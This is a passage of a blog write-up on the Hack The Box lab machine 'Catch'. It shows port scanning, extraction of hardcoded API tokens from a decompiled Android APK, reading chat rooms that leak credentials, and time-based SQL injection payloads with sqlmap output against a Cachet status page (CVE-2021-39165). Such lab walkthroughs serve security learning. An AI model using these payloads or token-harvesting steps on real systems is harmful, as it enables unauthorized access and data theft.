Posts Hack The Box - Catch Writeup
Post
Cancel

Hack The Box - Catch Writeup

HTB - Catch - 10.10.11.150

Overview

Descriptive information card about this machine

This medium-difficulty machine by MrR3boot from https://hackthebox.com was a very interesting challenge. It was made much harder than it should have been by a huge rabbit chase in the middle that seemed to be a very viable approach. This was due to it being an actual CVE-identified vulnerability, and an acccessible endpoint. Aside from this, the machine was a great learning experience in multiple areas, included code analysis, build of an Android APK, and figuring out how to get code examples to display on this blog post. I thoroughly enjoyed this fun challenge!

Useful Skills and Tools

Build or Decompile APKs with apktool

Decompiling an APK

If you want to decompile an Android APK application to see what files are inside run the following command:

1
apktool d $apk_file

This will make a new folder in the current directory with the contents of the APK.

Building an APK from scratch

To build a new Android APK application from scratch, begin with the following file and folder layout.

1
2
3
4
5
6
7
8
9
10
appName
    |--res
    |    |--layout
    |           |--activity_main.xml
    |--src
    |   |--com
    |       |--myapp
    |              |--MainActivity.java
    |
    |--AndroidManifest.xml

These are the minimum files and folders that are required to compile a viable APK. See the link below for more information on the minimum structure of each of these files.

  • https://ajinasokan.com/posts/smallest-app/

In order to run this application, you will need to compile it. The easiest way to do this is to use apktool. In directory above your application appName folder, run the following command using your application’s name:

1
apktool b appName

Note: you may have to create an apktool.yml file in order to get the tool to build your application. Create this file using the below structure:

1
2
3
4
5
6
7
8
9
10
11
12
version: 2.0.0
apkFileName: pkgid8.apk
isFrameworkApk: false
usesFramework:
  ids:
  - 1
packageInfo:
  forcedPackageId: '128'
versionInfo:
  versionCode: '1'
  versionName: '1.0'
compressionType: false

Display Jekyll Liquid tags in a Markdown codeblock on GitHub Pages

This blog post was written using GitHub-flavored Markdown. In order to render some of the code examples so that you can see them, some workarounds have to be made sometimes. In this post in particular, the templates that are used for injection use the same type of notation as Jekyll’s Liquid. In order to display the code examples I had to do some hunting. I found the below example from stackoverflow.com that worked to solve this problem.

  • https://stackoverflow.com/questions/3426182/how-to-escape-liquid-template-tags
    • https://stackoverflow.com/a/57120464 (direct link to the answer that worked)

The answer by @liquidat about 3/4 down the page is the only one that would work for me. It involved putting the raw and endraw liquid tags in HTML comments.

It is very difficult to get this rendering of the code to render the code…codeception is happening and breaking everything, so I will have to refrain from showing you directly. However, I can attest that this worked and the code later on in this writeup works properly because of it!

Enumeration

Nmap scan

I started my enumeration with an nmap scan of 10.10.11.150. The options I regularly use are:

FlagPurpose
-p-A shortcut which tells nmap to scan all ports
-vvvGives very verbose output so I can see the results as they are found, and also includes some information not normally shown
-sCEquivalent to --script=default and runs a collection of nmap enumeration scripts against the target
-sVDoes a service version scan
-oA $nameSaves all three formats (standard, greppable, and XML) of output with a filename of $name
-PnSkips doing a ICMP ping check, useful for hosts that do not reply to these
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(zweilos㉿kalimaa)-[~/htb/timelapse]
└─$ nmap -Pn -vvv -p- --min-rate 1000 10.10.11.150 -oN ../catch/ports.catch           
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 17:04 CDT
Initiating Parallel DNS resolution of 1 host. at 17:04
Completed Parallel DNS resolution of 1 host. at 17:04, 0.04s elapsed
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 17:04
Scanning 10.10.11.150 [65535 ports]
Discovered open port 80/tcp on 10.10.11.150
Discovered open port 22/tcp on 10.10.11.150
Discovered open port 5000/tcp on 10.10.11.150
Discovered open port 3000/tcp on 10.10.11.150
Discovered open port 8000/tcp on 10.10.11.150
Completed Connect Scan at 17:05, 50.82s elapsed (65535 total ports)
Nmap scan report for 10.10.11.150
Host is up, received user-set (0.059s latency).
Scanned at 2022-07-16 17:04:25 CDT for 51s
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack
80/tcp   open  http     syn-ack
3000/tcp open  ppp      syn-ack
5000/tcp open  upnp     syn-ack
8000/tcp open  http-alt syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 50.91 seconds
                                                                                                   
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ cat ports.catch | grep open | cut -d '/' -f 1 | tr '\n' ',' > ports

An initial port scan revealed that ports 22,80,3000,5000, and 8000 were open. I then used some bash commandline kungfu to put these ports into a list that could be fed back into nmap to do a more thorough service enumeration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ nmap -Pn -sCV -vvv -p$(cat ports) --min-rate 1000 10.10.11.150 -oA services.catch
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 17:12 CDT
NSE: Loaded 155 scripts for scanning.

Initiating Connect Scan at 17:12
Scanning 10.10.11.150 [5 ports]
Discovered open port 22/tcp on 10.10.11.150
Discovered open port 3000/tcp on 10.10.11.150
Discovered open port 80/tcp on 10.10.11.150
Discovered open port 5000/tcp on 10.10.11.150
Discovered open port 8000/tcp on 10.10.11.150
Completed Connect Scan at 17:12, 0.06s elapsed (5 total ports)
Initiating Service scan at 17:12
Scanning 5 services on 10.10.11.150

Completed Service scan at 17:13, 89.06s elapsed (5 services on 1 host)
NSE: Script scanning 10.10.11.150.

Nmap scan report for 10.10.11.150
Host is up, received user-set (0.061s latency).
Scanned at 2022-07-16 17:12:04 CDT for 92s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp   open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?    syn-ack
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=9bf2b818f0ed03c7; Path=/; HttpOnly
|     Set-Cookie: _csrf=70XmGOR0KuGDq53MrWEE0ZWRrVE6MTY1ODAwOTUyNzcyOTU3NDk5MA; Path=/; Expires=Sun, 17 Jul 2022 22:12:07 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 16 Jul 2022 22:12:07 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Catch Repositories </title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Set-Cookie: i_like_gitea=ec5dd274c199a451; Path=/; HttpOnly
|     Set-Cookie: _csrf=MV_EhpnlW73O_FfbTp5On2xmzxY6MTY1ODAwOTUzMzA1NTg3NzM1MA; Path=/; Expires=Sun, 17 Jul 2022 22:12:13 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Sat, 16 Jul 2022 22:12:13 GMT
|_    Content-Length: 0
5000/tcp open  upnp?   syn-ack
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 302 Found
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Location: /login
|     Vary: Accept, Accept-Encoding
|     Content-Type: text/plain; charset=utf-8
|     Content-Length: 28
|     Set-Cookie: connect.sid=s%3AqHDqYy82KHFoB7Lk_4Wdw0SaI62ZnqQk.qz3gaeB4sv65FV1HUzAog%2FOnChAxQrYEwtRPqlHrkCc; Path=/; HttpOnly
|     Date: Sat, 16 Jul 2022 22:12:12 GMT
|     Connection: close
|     Found. Redirecting to /login
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     X-Frame-Options: SAMEORIGIN
|     X-Download-Options: noopen
|     X-Content-Type-Options: nosniff
|     X-XSS-Protection: 1; mode=block
|     Content-Security-Policy: 
|     X-Content-Security-Policy: 
|     X-WebKit-CSP: 
|     X-UA-Compatible: IE=Edge,chrome=1
|     Allow: GET,HEAD
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 8
|     ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
|     Set-Cookie: connect.sid=s%3ALVskBEzY1lt8IorL30wSD1CVEc2F6ZCc.ZdL6myGeTMtYsX2S%2Fb4cZ0wdPg%2Bkc%2B%2BPO6fcTT2wnBg; Path=/; HttpOnly
|     Vary: Accept-Encoding
|     Date: Sat, 16 Jul 2022 22:12:13 GMT
|     Connection: close
|_    GET,HEAD
8000/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-favicon: Unknown favicon MD5: 69A0E6A171C4ED8855408ED902951594
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.64 seconds

It looked like SSH, and four different HTTP-based services were being hosted on ports 80, 3000, 5000, and 8000.

Port 80 - HTTP

A website with a mobile app download link

There was nothing on this site that worked except the download link in the middle of the page. This link downloaded an Android application catchv1.0.apk to my system.

apktool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ apktool d catchv1.0.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1-dirty on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/zweilos/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
                                                                   
┌──(zweilos㉿kalimaa)-[~/htb/catch/catchv1.0]
└─$ ls
AndroidManifest.xml  apktool.yml  original  res  smali

I used apktool to decode the apk, then used openssl to check if there was any interesting information in the certificate file.

  • https://stackoverflow.com/questions/11361452/getting-certificate-details-from-an-apk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
┌──(zweilos㉿kalimaa)-[~/…/catch/catchv1.0/original/META-INF]
└─$ openssl pkcs7 -inform DER -in CERT.RSA -noout -print_certs -text  
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 741994022 (0x2c39ee26)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=30, ST=Greece, L=Athens, O=Catch Global Systems, OU=DevTeam, CN=Will Robinson
        Validity
            Not Before: Dec 14 07:24:38 2021 GMT
            Not After : Dec  4 07:24:38 2061 GMT
        Subject: C=30, ST=Greece, L=Athens, O=Catch Global Systems, OU=DevTeam, CN=Will Robinson
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:94:c9:89:7e:f7:37:e7:9a:a5:e9:af:d2:6a:58:
                    a1:5d:ab:7f:ea:a1:c3:1b:cd:6e:8f:bf:76:54:a2:
                    d5:b1:d6:0d:fa:b7:a3:9a:6a:f8:77:f6:33:0f:66:
                    1a:24:2d:e8:0d:50:de:77:9c:c5:7e:69:a7:90:79:
                    b2:16:c5:b7:9c:b2:98:48:43:82:3a:1a:e7:28:d3:
                    dc:23:4f:2d:4b:f2:cb:f2:2b:d4:54:f3:9b:52:70:
                    31:8e:70:cd:85:b9:7d:02:6d:4b:18:06:75:c8:9e:
                    c8:82:8f:c6:29:32:98:8f:f7:66:10:50:55:58:c3:
                    55:8a:44:0d:8c:11:7a:75:2f:c1:3d:a3:7b:8c:05:
                    17:f3:63:0a:54:d1:5c:27:51:61:9e:61:62:44:bc:
                    49:24:24:cd:dc:57:71:25:54:be:2d:23:25:78:db:
                    14:89:6d:a1:a6:47:ef:2c:28:8f:e6:ae:a6:48:04:
                    7f:d5:0c:cd:45:c3:71:f3:66:49:22:b4:71:77:de:
                    39:ee:c2:83:48:f3:eb:08:28:29:fb:56:2f:6e:0c:
                    69:73:89:44:99:c8:ff:a3:cf:8a:42:77:4a:8d:d0:
                    80:86:a0:3f:f1:b7:b5:91:6a:37:6d:c5:3a:cc:81:
                    04:25:f8:8f:46:4f:89:a0:ef:d4:a0:cf:a6:ed:36:
                    6e:25
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                BE:97:57:BB:39:14:BC:E5:B6:20:68:6B:4E:91:BD:BF:B2:EB:12:EB
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        73:55:bf:45:9e:59:96:ac:13:b3:f8:f1:e8:63:88:3c:d8:11:
        a3:98:75:c5:81:f9:bf:c4:f9:8b:95:cd:7d:60:29:87:7e:4b:
        e7:0c:57:fe:55:2a:3d:90:b4:b2:0d:1d:9a:90:fe:a1:26:92:
        c2:81:bb:11:d7:91:05:04:59:ca:aa:15:f2:0b:73:48:77:89:
        d2:89:72:96:76:3b:b1:b1:a4:ff:a5:4f:d2:2a:c4:c3:68:59:
        8a:22:a2:7d:83:ae:01:d4:0c:db:6b:b6:e1:52:65:c9:b3:91:
        56:d4:45:04:ee:0b:ce:0d:dd:36:7e:75:9d:c2:2f:07:df:b0:
        c2:d5:ff:6d:32:88:85:e8:b2:93:23:52:fc:cf:36:93:99:39:
        6d:e4:dc:56:9f:6e:64:3a:43:b0:3d:5a:8a:c6:c3:91:b0:44:
        8d:c1:1e:f7:53:c5:26:9c:98:85:f8:70:97:db:e5:23:69:c1:
        49:1a:f4:a0:f2:7d:a4:1e:a9:b0:ad:fd:22:53:ad:95:44:46:
        16:fc:a9:fe:57:3c:49:82:a5:d5:9e:12:a4:bf:6e:64:96:2d:
        96:79:54:eb:a3:e3:7e:e0:e4:04:e0:9a:af:58:da:e9:5f:27:
        86:64:09:5e:e4:59:43:87:9b:80:3d:37:c2:e5:da:24:b8:1b:
        b4:69:39:4d

The cert.rsa file contained a self-signed certificate with useful information.

Subject: C=30, ST=Greece, L=Athens, O=Catch Global Systems, OU=DevTeam, CN=Will Robinson

I now had a potential username and domain OU to start with.

apkenum.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(zweilos㉿kalimaa)-[~/htb/catch/APKEnum]
└─$ python2 APKEnum.py -p ../catchv1.0.apk
 
                                                                                                                    
:::'###::::'########::'##:::'##:'########:'##::: ##:'##::::'##:'##::::'##:                                          
::'## ##::: ##.... ##: ##::'##:: ##.....:: ###:: ##: ##:::: ##: ###::'###:                                          
:'##:. ##:: ##:::: ##: ##:'##::: ##::::::: ####: ##: ##:::: ##: ####'####:                                          
'##:::. ##: ########:: #####:::: ######::: ## ## ##: ##:::: ##: ## ### ##:                                          
 #########: ##.....::: ##. ##::: ##...:::: ##. ####: ##:::: ##: ##. #: ##:                                          
 ##.... ##: ##:::::::: ##:. ##:: ##::::::: ##:. ###: ##:::: ##: ##:.:: ##:                                          
 ##:::: ##: ##:::::::: ##::. ##: ########: ##::. ##:. #######:: ##:::: ##:                                          
..:::::..::..:::::::::..::::..::........::..::::..:::.......:::..:::::..::                                          
                                                                                                                    
                  # Developed By Shiv Sahni - @shiv__sahni                                                          
                                                                                                                    
Thank you for installing APKEnum
I: Checking if the APK file path is valid.
I: APK File Found.
I: Initiating APK decompilation process
I: Decompiling the APK file using APKtool.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Successfully decompiled the application. Proceeding with scanning code.

List of URLs found in the application                                                                               

1. https://status.catch.htb
2. http://schemas.android.com

No S3 buckets found 
No S3 websites found
No IPs found
No Google MAPS API Keys found 
Thank You For Using APKEnum

This tool gave me a list of URLs found in the application. Only one was interesting: https://status.catch.htb, which I added to my hosts file. The site was not reachable from the outside, however (port 443 was not open). It seemed like this must be the site the mobile app was supposed to replace, or maybe to interact with.

I had noticed that the “future enhancements” listed on the homepage included “Lets-chat” and “Gitea” integration - maybe this app already had these built in? I decided to hunt for anything related to these inside the APK files.

1
2
<string name="lets_chat_token">
NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==

In the file catchv1.0/res/values/strings.xml I found a token.

1
2
3
4
5
6
7
8
┌──(zweilos㉿kalimaa)-[~/htb/catch/catchv1.0/res]
└─$ grep -r token
values/strings.xml:    <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
values/strings.xml:    <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
values/strings.xml:    <string name="slack_token">xoxp-23984754863-2348975623103</string>
values/public.xml:    <public type="string" name="gitea_token" id="0x7f0e0028" />
values/public.xml:    <public type="string" name="lets_chat_token" id="0x7f0e002c" />
values/public.xml:    <public type="string" name="slack_token" id="0x7f0e0065" />

I used grep to see if there were any more tokens and found a couple more tokens related to other services. I couldnt see any way to use these at the moment however, so I went back to the other ports I had found open.

Port 3000 - Gitea?

There wasn’t much here. I did find a cookie called i_like_gitea in the headers that indicated that this might relate to the Gitea token I had found. Since I had found those three tokens I started looking for a place to use them.

Port 5000 - lets-chat API

Let's chat login page

Navigating to the url using port 5000 led me to a login page for something called “Let’s Chat”. Since one of the tokens I had found seemed to be for this application I fired up Burp suite so see if I could use it to authenticate.

  • https://github.com/sdelements/lets-chat/wiki/API:-Authentication

    API requests must be authenticated using Basic Authentication or with a Bearer token.

The GitHub page for this application indicated that using a token was preferable to having a username and password, and I hoped that I wouldn’t need credentials if I used this token.

Basic Authentication Use the API token as the username when authenticating. The password can be set to anything, but it must not be blank (simply because most clients require it).

  • https://swagger.io/docs/specification/authentication/bearer-authentication/

The client must send this token in the Authorization header when making requests to protected resources:

1
Authorization: Bearer <token>

According to the website an authorization token had to be in the above format in order to be used.

1
Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==

I copied the token into into the header of my requests and began trying to figure out what pages would be useful to enumerate.

Dirbuster output showing a list of folders on port 5000

My dirbuster scan of this URL showed a list of pages to check.

Json output showing information for an Administrator

Using Burp I crafted a GET request for the /accounts page, which gave me a reply in JSON format.

1
{"id":"61b86aead984e2451036eb16","firstName":"Administrator","lastName":"NA","username":"admin","displayName":"Admin","avatar":"e2b5310ec47bba317c5f1b5889e96f04","openRooms":["61b86b28d984e2451036eb17","61b86b3fd984e2451036eb18","61b8708efe190b466d476bfb"]}

This output seemed to indicate that the token I had was for the application Administrator and mentioned three open rooms. Since this was a chat application, it seemed likely that I could pull messages out of these rooms if I could connect.

Json output showing the three open chat rooms

The three rooms were Status, Android_dev, and employees. None of the rooms were password enabled.

1
2
3
4
5
6
7
8
9
10
[{"id":"61b8732cfe190b466d476c02","text":"ah sure!","posted":"2021-12-14T10:34:20.749Z","owner":"61b86dbdfe190b466d476bf0","room":"61b86b28d984e2451036eb17"},
 {"id":"61b8731ffe190b466d476c01","text":"You should actually include this task to your list as well as a part of quarterly audit","posted":"2021-12-14T10:34:07.449Z","owner":"61b86aead984e2451036eb16","room":"61b86b28d984e2451036eb17"},
 {"id":"61b872b9fe190b466d476c00","text":"Also make sure we've our systems, applications and databases up-to-date.","posted":"2021-12-14T10:32:25.514Z","owner":"61b86dbdfe190b466d476bf0","room":"61b86b28d984e2451036eb17"},
 {"id":"61b87282fe190b466d476bff","text":"Excellent! ","posted":"2021-12-14T10:31:30.403Z","owner":"61b86aead984e2451036eb16","room":"61b86b28d984e2451036eb17"},
 {"id":"61b87277fe190b466d476bfe","text":"Why not. We've this in our todo list for next quarter","posted":"2021-12-14T10:31:19.094Z","owner":"61b86dbdfe190b466d476bf0","room":"61b86b28d984e2451036eb17"},
 {"id":"61b87241fe190b466d476bfd","text":"@john is it possible to add SSL to our status domain to make sure everything is secure ? ","posted":"2021-12-14T10:30:25.108Z","owner":"61b86aead984e2451036eb16","room":"61b86b28d984e2451036eb17"},
 {"id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john :  E}V!mywu_69T4C}W`","posted":"2021-12-14T10:21:33.859Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"},
 {"id":"61b87010fe190b466d476bf9","text":"Sure one sec.","posted":"2021-12-14T10:21:04.635Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"},
 {"id":"61b86fb1fe190b466d476bf8","text":"Can you create an account for me ? ","posted":"2021-12-14T10:19:29.677Z","owner":"61b86dbdfe190b466d476bf0","room":"61b86b28d984e2451036eb17"},
 {"id":"61b86f4dfe190b466d476bf6","text":"Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. ","posted":"2021-12-14T10:17:49.761Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"}]

Json output showing the chat history for the status chat room

I was able to get a list of the messages for the Status room by using the id number. There were some creds for the user john!

1
2
3
4
[{"id":"61b86aead984e2451036eb16","firstName":"Administrator","lastName":"NA","username":"admin","displayName":"Admin","avatar":"e2b5310ec47bba317c5f1b5889e96f04","openRooms":["61b86b28d984e2451036eb17","61b86b3fd984e2451036eb18","61b8708efe190b466d476bfb"]},
{"id":"61b86dbdfe190b466d476bf0","firstName":"John","lastName":"Smith","username":"john","displayName":"John","avatar":"f5504305b704452bba9c94e228f271c4","openRooms":["61b86b3fd984e2451036eb18","61b86b28d984e2451036eb17"]},
{"id":"61b86e40fe190b466d476bf2","firstName":"Will","lastName":"Robinson","username":"will","displayName":"Will","avatar":"7c6143461e935a67981cc292e53c58fc","openRooms":["61b86b3fd984e2451036eb18","61b86b28d984e2451036eb17"]},
{"id":"61b86f15fe190b466d476bf5","firstName":"Lucas","lastName":"NA","username":"lucas","displayName":"Lucas","avatar":"b36396794553376673623dc0f6dec9bb","openRooms":["61b86b28d984e2451036eb17","61b86b3fd984e2451036eb18"]}]

Unfortunately, there were no interesting messages in the other two chat rooms. I tried using the creds found in the chat but the password did not work for any of the usernames I had, so I moved on to the next open port I had found.

Port 8000 - Cachet

A website with an incident tracker powered by cachet

The page hosted on port 8000 looked to be an incident tracker timeline, but there were no incidents listed at all. I noticed the bottom of the page showed what was used to make the page. It said “Powered by Cachet”. I checked the home page for this and found that it was indeed for keeping track of the status of tasks. It was labeled as:

The open source status page system

A search for vulnerabilities related to this system found that three CVE’s had been discovered at one time that could lead to RCE.

  • https://portswigger.net/daily-swig/rce-vulnerabilities-in-open-source-software-cachet-could-put-users-at-risk
  • https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/
  • https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html

Troublesome trio

The first bug (CVE-2021-39172) is a newline injection that is triggered when users update an instance’s configuration, such as the email settings. It allows attackers to inject new directives and to alter the behavior of core features, ultimately leading to the execution of arbitrary code.

A second vulnerability (CVE-2021-39174) is also related to this feature, and allows attackers to exfiltrate secrets that are stored in the configuration file – for example, database passwords and framework keys.

Finally, the last bug (CVE-2021-39173) is “much simpler” according to researchers, and allows an attacker to change the setup process even if the target instance is already fully configured. “That way, attackers can trick the Cachet instance into using an arbitrary database under their control, ultimately leading to arbitrary code execution,” the researchers wrote.

Cachet login page

The Dashboard link on the main page led to a login page.

Houston we have a problem 500 error

The subscribe link led to error page with a potentially interesting error message.

This error can be identified by e02c6d1c-f391-4b74-a522-f6cd2ceb8c2c. You might want to take a note of this code.

I did some research into the CVEs for this system and found a POC had been written for one of them. I quickly went through the Python exploit and found that it wasn’t very complicated. It was mainly sending some crafted web requests to one of the endpoints

  • https://github.com/W0rty/CVE-2021-39165/blob/main/exploit.py

json output in the browser with a 500 internal server error

First I copied the target url from the exploit

Successfully returning calid json after doing SQL injection

I was able to confirm sqli with a test payload

1
http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%27a%27)%20and%20(select%20sleep(5))--

Using sqlmap I was able to find a working payload as well (this took a long time!)

1
Payload: http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+'a'=? and 1=1) AND (SELECT 7346 FROM (SELECT(SLEEP(5)))ZNEp)+--+"

After this it was able to very slowly get the table names…very slowly. like…1 character per few seconds slow… Time-based SQL injection enumeration and exploitation is not recomended if you are in a time crunch!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[19:21:09] [INFO] retrieved: cachet
[19:21:30] [INFO] retrieved: mysql
[19:21:49] [INFO] retrieved: performance_schema
[19:22:57] [INFO] retrieved: sys
[19:23:10] [INFO] fetching tables for databases: 'cachet, information_schema, mysql, performance_schema, sys'
[19:23:10] [INFO] fetching number of tables for database 'cachet'
[19:23:10] [INFO] retrieved: 25
[19:23:15] [INFO] retrieved: actions
[19:23:41] [INFO] retrieved: cache
[19:23:57] [INFO] retrieved: component_groups
[19:25:07] [INFO] retrieved: components
[19:25:21] [INFO] retrieved: failed_jobs
[19:26:04] [INFO] retrieved: incident_components
[19:27:23] [INFO] retrieved: incident_templates
[19:28:09] [INFO] retrieved: incident_updates
[19:28:46] [INFO] retrieved: incidents
[19:28:59] [INFO] retrieved: invites
[19:29:20] [INFO] retrieved: jobs
[19:29:36] [INFO] retrieved: meta
[19:29:50] [INFO] retrieved: metric_points
[19:30:37] [INFO] retrieved: metrics
[19:30:48] [INFO] retrieved: migrations
[19:31:21] [INFO] retrieved: notifications
[19:32:10] [INFO] retrieved: schedule_components
[19:33:30] [INFO] retrieved: schedules
[19:33:43] [INFO] retrieved: sessions
